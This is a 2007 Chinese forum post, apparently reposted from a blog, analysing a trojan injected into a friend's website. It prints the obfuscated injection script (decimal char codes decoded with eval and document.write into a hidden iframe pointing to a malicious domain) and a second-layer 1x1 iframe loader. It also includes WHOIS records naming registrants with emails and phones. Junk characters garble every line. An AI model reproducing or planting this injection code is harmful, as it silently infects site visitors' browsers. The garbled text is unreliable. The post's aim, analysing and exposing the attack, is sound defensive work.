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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, rC[*x}  
g"hm"m}i  
http://www.areway.cn/?p=175 p_) V@ 7  
u z4P  
M{3He)&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 4}!riWR   
          K82pWpR  
<script>t=’60,105,102,114,97,109,101, O9dIobu4  
32,115,114,99,61,104,116,116,112,58,47,47, k)1K6ug  
102,114,101,101,46,117,45,117,117,117,46,99, U<KvKg  
110,47,101,114,114,111,114,46,104,116,109, GFYAg  
32,119,105,100,116,104,61,49,48,48,32,104, 2}/Z.)^Q  
101,105,103,104,116,61,48,62,60,47,105,102, + ( `  
114,97,109,101,62′; #K"jtAm  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> k/u6Cw0/  
                                                                                                  @vCPX=c  
<script>t=’60,105,102,114,97,109,101,32,115, Ky8sLm@  
114,99,61,104,116,116,112,58,47,47,102,114, |K,9EM3  
101,101,46,117,45,117,117,117,46,99,110,47, w\:-lXw  
101,114,114,111,114,46,104,116,109,32,119, 9.!6wd4mw  
105,100,116,104,61,49,48,48,32,104,101,105, wbyY?tH  
103,104,116,61,48,62,60,47,105,102,114,97, *[wy- fu  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); e>#*$4tg  
document.write(t);</script> Tu?+pz`h  
                                                                                                  P|!GXkS  
<html xmlns=” p&>*bF,  
http://www.w3.org/1999/xhtml <IC=x(T  
“> SsIy;l  
<head> +\fr3@Yc  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> >8"oO[U5>  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> /!=uM .  
<title>首页 - 爱生活家庭网 m.iCGX  
                                                                                                                                                    o+4/L)h  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 8V`NQS$  
转换字符串后的大概内容是(谁点击后果自付): pEuZsQ  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… '_lyoVP  
                                                                                                                                  1XSA3;ZEc  
查询玉米u-uuu.cn的详细信息: <Bn^+u\  
Domain Name: u-uuu.cn J*o :RnB  
ROID: 20070901s10001s64972306-cn y>Zvose  
Domain Status: ok "w9LQ=mW  
Registrant Organization: 王雷 +FfT)8@W  
Registrant Name: 王雷 QM\v ruTB  
Administrative Email: czlovexs@126.com 6vbWe@#U/  
Sponsoring Registrar: 北京万网志成科技有限公司 *;"N kCf  
Name Server:ns.yovole.com #+N\u*-S  
Name Server:ns1.yovole.com A{iI,IFe  
Registration Date: 2007-09-01 17:54 7-6Z\.-  
Expiration Date: 2008-09-01 17:54 )xX(Et6+`  
最后PING了一下地址 都没有什么…. "u~l+aW0  
                                                                                                @kvgq 0ab  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 7}OzTup  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> J~eY,n.6]  
<script language=”javascript” src=” IT! a)d  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script f#_XR  
> l>`N+ pZ$  
这个玉米应该有可能是木马作者的: e4p:Zb:  
foafau.info的详细信息: >y mMQEX`  
Access to INFO WHOIS information is provided to assist persons in DQ :w9  
determining the contents of a domain name registration record in the pJrc\`D  
Afilias registry database. The data in this record is provided by hLPg=8nJ_  
Afilias Limited for informational purposes only, and Afilias does not F`S OF O  
guarantee its accuracy.  This service is intended only for query-based <h^'x7PkW5  
access. You agree that you will use this data only for lawful purposes , mEFp_a+  
and that, under no circumstances will you use this data to: (a) allow, u 'DM?mV:-  
enable, or otherwise support the transmission by e-mail, telephone, or TC[_Ip&  
facsimile of mass unsolicited, commercial advertising or solicitations W7>4-gk  
to entities other than the data recipient’s own existing customers; or s\i=-`  
(b) enable high volume, automated, electronic processes that send xoF]r$sC8  
queries or data to the systems of Registry Operator, a Registrar, or k@JDG]R<{  
Afilias except as reasonably necessary to register domain names or qg#TE-Y`  
modify existing registrations. All rights reserved. Afilias reserves OSk:njyC[  
the right to modify these terms at any time. By submitting this query, ;F9<Yv  
you agree to abide by this policy. qIcQPJn!}  
Domain ID:D22418703-LRMS AN7WMX  
Domain Name:FOAFAU.INFO yn<H^c  
Created On:20-Nov-2007 16:05:42 UTC ^prseO?A  
Last Updated On:20-Nov-2007 16:05:44 UTC .CdaOWM7  
Expiration Date:20-Nov-2008 16:05:42 UTC :-ZE~b HJ  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) N(>a-a  
Status:CLIENT DELETE PROHIBITED |!{Q4<  
Status:CLIENT RENEW PROHIBITED <8Ek-aNNt  
Status:CLIENT TRANSFER PROHIBITED ?#!Hm`\.  
Status:CLIENT UPDATE PROHIBITED @iK=1\-2  
Status:TRANSFER PROHIBITED Yq}7x1mm  
Registrant ID:GODA-040110615 ]vJZ v"ACn  
Registrant Name:liu hong 4)BZ%1+  
Registrant Organization: :bI4HXT3  
Registrant Street1:beijing vK6YU9W~J  
Registrant Street2: `)e;bLP  
Registrant Street3: Ou</{l/  
Registrant City:beijing ^I3cU'X  
Registrant State/Province: "<ow;ciJF  
Registrant Postal Code:100000 KY H*5  
Registrant Country:CN fiz2544  
Registrant Phone:+86.860108888777  hLFf  
Registrant Phone Ext.: dQ?4@  
Registrant FAX: Mm`jk%:%]  
Registrant FAX Ext.: vpXC5|9U  
Registrant Email:bbbshiji@163.com Q:eIq<erY  
Admin ID:GODA-240110615 6TJ5G8z_  
Admin Name:liu hong ozH7c_ <  
Admin Organization: O-Hu:KuIf  
Admin Street1:beijing _F>1b16:/P  
Admin Street2: 6~zR(HzV{  
Admin Street3: kv&%$cA  
Admin City:beijing ^@ s!"c  
Admin State/Province: '<~rV  
Admin Postal Code:100000 W"S,~y  
Admin Country:CN jm&?;~>O  
Admin Phone:+86.860108888777 L;/#D>U(  
Admin Phone Ext.: 6g4CUP'Y  
Admin FAX: 2Fi>nJ  
Admin FAX Ext.:  hh<5?1  
Admin Email:bbbshiji@163.com p 7IJ3YY  
Billing ID:GODA-340110615 FP<RoA? W  
Billing Name:liu hong j[NA3Vj1P  
Billing Organization: c_clpMx=  
Billing Street1:beijing k1Zu&4C\  
Billing Street2: =o;QvOS;  
Billing Street3: Yf.H$L  
Billing City:beijing Ag}V>i'  
Billing State/Province: 6i[\?7O'0  
Billing Postal Code:100000 k| 0Fa}Z[  
Billing Country:CN ~J?O~p`&  
Billing Phone:+86.860108888777 zOYkkQE3mJ  
Billing Phone Ext.: 2!f0!<te  
Billing FAX: {%D!~,4Ht  
Billing FAX Ext.: NHA 2 i  
Billing Email:bbbshiji@163.com vE/g{~[5  
Tech ID:GODA-140110615 W6_3f-4g  
Tech Name:liu hong M1ayAXO  
Tech Organization: ol[{1KT{  
Tech Street1:beijing "M:arP5f  
Tech Street2: Gf%o|kX]  
Tech Street3: 17 j7j@s)  
Tech City:beijing hCo&SRC/5  
Tech State/Province: g{D&|qWj  
Tech Postal Code:100000 V)a6H^l  
Tech Country:CN /kJ*WA?J  
Tech Phone:+86.860108888777 4\$Ze0tv  
Tech Phone Ext.: 't|F}@HP  
Tech FAX: #dl8+  
Tech FAX Ext.: %(kq Hxc  
Tech Email:bbbshiji@163.com pDKJLa  
Name Server:NS27.DOMAINCONTROL.COM 8n73MF  
Name Server:NS28.DOMAINCONTROL.COM 2;&13%@!  
Name Server: >WD^)W fa  
Name Server: q%y_<Fw#E  
Name Server: _Ng*K]0/E  
Name Server: @qe>ph[UA  
Name Server: O.4"h4{'  
Name Server: C )I"yeS.  
Name Server: g9 yCd(2<5  
Name Server: KC]Jbm{y  
Name Server: %-*vlNC)  
Name Server: 0 /kbxpih  
Name Server: YVaQ3o|!  
                                                                                                          /9yiMmr5W  
接着下载每个文件里面的代码: 3@&H)fdp6a  
一步一步看.. D-~Jj&7  
k}O|4*.BT  
y$&a(S]  
dyp] y$  
E:o:)h?$  
/~^I]D  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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